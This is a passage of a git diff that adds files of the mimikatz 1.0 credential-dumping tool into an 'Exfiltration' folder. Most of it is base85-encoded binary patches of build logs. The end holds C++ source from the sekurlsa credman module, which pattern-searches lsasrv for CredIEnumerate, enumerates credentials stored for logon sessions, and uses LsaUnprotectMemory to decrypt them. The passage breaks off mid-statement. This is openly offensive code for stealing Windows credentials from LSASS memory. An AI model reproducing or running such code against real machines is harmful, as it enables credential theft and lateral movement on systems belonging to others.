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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..662e27d976972d290ba108ac28eea4b3448e3d04 GIT binary patch literal 17846 zcmeI3ZBH6O5P;`%lm3Us@3z{0GwBC}<9bnE!iyjwy&#oJsz}t@(jVXUncYJ`!Juv8 z0h0^t?datI+EG213AQh=13*?X^kS21KMN%Lw zQa^*dO};2cv^YSzO_`QQtExYnob|}fxs=!f4Lz@-_@;S5|Ql8~%WqB>H ztF;5UrNuX- zYOR*{$#tmli*n6POD5K;9ha0{aNPm6q{F5QZ2E#l=lq`Q#Htp*L9H85cFyN3AI&%9 zLy|W6?J6m8pM2_Dl+fYxqohViZ>S{4cZ0iEM92F(NzwJ!K0O%T$;$LYhF*yz#xJ}V zMO>*UAL;qAt~k+_qohHLiM&p(f?oByv9yYw1Flj*rrKlj>W?KPwVBr5#@W`f^RUSI zoBG#StNPunG?ct64e4cnhYIM|`eAaFP)07_!@u^Vhu>V|Ia|#AZfUv8)3n1gGo#oIgw7PmHFq@m@shv#1^A18#fx)jBA_4wZ)`JE7>CA z7<(StO?bOXht+6nh|YYq&ANcFH5sS#>4x> zj~P;372@B3-hWd+ekVGKJ+ssfh(-&vEE@A{bZVp14IiEUf0C>w8Fh7)u89lXx}+Ls z77fshATAXNcqQ!~NnUB*MyZIzp4KjNBb#IXFVLN7Li>^M*x*cd?GAmhtkw@&4iQPUK z+grBWem9FAEqdJS=<#3JvYzyelO4f+FR;a(7I#|QX>sQ=apzN6x|lSpL)Pg%>&8lB OrLodjxhyLevEwgs2C32j literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog new file mode 100644 index 00000000..46b134b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog new file mode 100644 index 00000000..46b134b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..8bfc48555675b959239df7d776b184ec93b110b7 GIT binary patch literal 4788 zcmds*-%k@k5Xa})#Q&k;#U~EY#26AE+UtRp{ zm-@&xmvVcv-<_SAotd5C_peVD+Mb=-fi>*N-rBL%_=>G#J&UYs3AD(XJdvG17p-9} z-fi$z=%;+Q?L8|Fp>8v$`37HA5FeRerEJ@-1@@eoCb$|LtGvZGV!u;<5vz}(G#OW+ z^q6bgOMAgMgdSNPu2pCO`_}B8{Vbgx(kMjw1KzTIr^LD(avB}ZM4nRK6Y)Cq(Is;F zbnU|iXcH4BisQ&dRQXRQCR&t-HbIjvQ4^v|!c%^I65=HxlPP-2uZ{FLL7Osbl5j8Y zTA#aiGqmXE)rhY{%Bz#Anli_TZWCXJ9hEwBtyY?4_Ne8WIdD~SVo&Xf?QmLMo{sw) zx$3@4X4|9k?C^`M0;WTKAllYLB|Wk`yRxr#PSqXTt$nkhrJVN_?=eqg_cnF3k=^i~ zfIow-j$mRlR$N0>N1*u;UuPhGFt4vg%Df}!F*C_4{fyPu?4QCjV{Kp;Zr?2@udkog z3oLdcUMJ}z-J1Lk_*IZo9Hwv&;4wm{3Y4J@9Dj8dbNU(k%yRVdOor}b?6Asd2N~3j zG;AMvbO%a;7Ptv}U9wMx=KGAtjAi5h(K7%qo6734?*-qo;1F4FR(N}xtV(f=RO;`x z+`cnbj_r*-V{Nu{Mk%xkmKcE_@JQawAuqwo`a=+YkC-~Y_Q?HYimlFbc@x*uF4iV{ zc|TdlGkTns_x{*rJS_r z|JQi)Ehi@L3>cl;7nipdF&@!(aiDQ(-`8TN_-^WaS2<)IXXOTEv-P-?{r|?uI&_Ad ziv1yyufqy;54H$5KnrC7ANxfp<%|Imes;O%j!_X(8L?O@pB=U19U2tzxM6PgP-7OI U-5k@;Zx4TO6mk7G^Upc|0g|5P#sB~S literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a090f0257c96c9878ee81af4ad1eac321c070882 GIT binary patch literal 8124 zcmds+(T5QgWvN#9{F+lw{3-K1@Lhrn7Yf)T`RW9p0a+1q|UN2?;+#MCSuLln-O z1I*8yIcNTvUq8QFY@cjx6U(f&&$hHNt+|!9veXty@h;X?mVf$1(G$jgl*SZLhYG@f?YwO-0)?yRk?1QAPC?*Kb(q zKH7VGOMIpo{8h{TYLbk|)Ckw4;ZSHA%dy2gu_%@9J`c~e>*!*pIh z-d|PdR)aRGw9~!z%CS1NIw-1F0*k7-qK@E(ReGdt7$3j~>_$&Ku?1b>Gk=8@81aJt z6j^DlOjmen#^uZyXl>redINXl={-nIKY$$YHM-F?{Q^9yWYz$dv2Lyhy}9FIj0)a< zLu=o@b%sIAxUo=yYU@?L$jo(vvj>ToRXm zK8buu>|~Zb{@EChBWye~Nz~=FMr!RcSd3q4WY!^mIhm^QoFi6EW*xS3y>p!^P0xSS zPtBZ7Dmm#=7iU$*-$AV(e@-EPaml8Wiq(#O(vc;$or6rT%qNygcUV>@ GEjFL7YW)ZR literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a61d64e0868a4c07e418cb8e00a9363f945a6f37 GIT binary patch literal 958 zcmaiySx>@H5QWdPiT|O&7kvP?#29?4ShTTVBbzae2`DN73TbhP@wcnrTye$3kaF*w zIWu!+=DxmMsG_nG9V%2)M`~#wE7plR3UsOlSfGespfhm8Le)6y@O|(EyRJ47$Dl=g z<`1!a80YwZBSmehqzya~ynQnIoR&ABUcwg;-2#cY`yd^Bb!}_w4{u2a@FFrAr%CLo z(|3Sv3IaSeZguRctI*W*yz3b53B8+wnmqg=nM{SJRr=l4j@GDY9aJ2*0l!LCkB&ol zEg~bV23QLvA%2hkHs&3+iF=<=1)ebim+z;Z1Ux3zr&FIge`#LUlGc@Kq7mN>pND;~ zzB2W&a&Cr9bf=l7?mq*|9g^vids&6geGg#W!s?+XhV$SuHNg5*7@^^jES7zsF=q%e=5^-W z$;bPvQax$VTA5lst5brtQLUYvwraqf3Ld9DxM7(}z7_E?_<&uhCnE=);WK}R6%+A- ze~QdBSEvY2L0m$`n6K4!^c#2`*&Rs1IR@F`t8}ZIGu}{3;tDESOiS+8^IKvY1Ba*N zRAH}thgNTgsW-&d%x(-y1^6>68H+$y%=@5)uIXtLq&~JGenr)Qi8JClG7GE*tb<90 zKVZJ-Fkw&Ls8C9rML1vYJD&l3LvGBZF@4T)zSPCPWr6S*zxCQx z-V>qU>9asnQ!&v|i)q!7xl5QL|W#5=eQ1&9zSLUf0Hz$xb+`3IxO%9HTygl`=;iCmI!X1c5{#`fe%bF7m1$9yVIMN?6d^wsBO?6nVOI|pzG+2R1H{%lK`KPZ!;yl k(D(g?Qgo*9@@<0zITF(e@skrd1j^y|y>L|T;lh~eYTJ>PfV zyUcuj-jOk+;*6Xt&RHUfGviJ8>aR^rD~Jr6z9m zf0Bd~I`ni3b0beot?}I8eU%DMFC>NU=>gKw%Q)tUE@N7(Oqb4QZZUScwdcR-hPF3< zsDWDB#q29@Y}AvA{iC(*7kJj`bLs{S54`YBZLZ%*i|DRCL8%S(OH!5ZbY2dwiGjq6e znd#@po1C81X`@^xJ*(E5=%Bq?r8=r2m#W}O^+Miqxk~Ok>SOX9@lFjrwq%#IS$j?t zQ}IgsIJ4ABk?v?Is9Q5)%-zOKnXluQ(z_;8@El*rM6@|w>uR7s5bt>h8>!Sn8Dkl7 z#q$l^kGj|GK;nFDMSTX}0`i=?nw|wwMXpvtZcns=vL|hrsiWpZRY^~a?7bba)u+BS zW3Hp0H$u0$@wJ|KYQBoM-=bTGV@#0*r|taB@WN;p(8=h}Ba2Zih$ zDfA9i4c{U7id|OeKlpxfzKwV3UbWEfPP~tLcYo^^n#%U|21m`4u2;+czn!11Upp~j Awg3PC literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..9befde98572d5e3759c67e0f46f3f6a4efabe3f3 GIT binary patch literal 398 zcmdUqO$x#=5Julx@F*?*?A)a#*kFyK)`}GGe+uyZR@oSW>f4>FsOW7>s3a i^u5U&ogO5;dH6zVwU#-vzxe&Av&@>+4=2TS@$v>E7CSfq literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest new file mode 100644 index 00000000..ecea6f7f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate new file mode 100644 index 00000000..4d281933 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res new file mode 100644 index 0000000000000000000000000000000000000000..d0ba1ddfc6dda29ed2651d96364febb41f02022b GIT binary patch literal 752 zcmZ{i&q~8U5XQfh929!!8yLicUZgEOc=KRYilU-YkCJMwp*0Cjis)1I1$-mHH?aO@ z>(W2shS{CWeDlqpT}g_N*=#PTD{ETu{u-FT`Rb~M9yG1AP`kR(J^Qh)(K@=+1^*rP z6Lec2;n%lh@pBG;9y+fS@_Em%Ni}i@@Rb@XQK|uKiAL(foa#v#z)yk#)zv~C+}UH7 z4phZ{1m;D#V(@QN6Z6-1^rxID%*Ge#jPn%{f7`_QJZ(?~yp}(A=!_^^1)iZMct+?k z9FJHc_!B2XY^C0@(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true); + } + return (searchLSAFuncs() && CredIEnumerate); +} + +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@CredIEnumerate = " << CredIEnumerate << endl << + L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getCredmanData, wstring(L"credman"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream message; + if(searchCredmanFuncs()) + { + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; + NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, 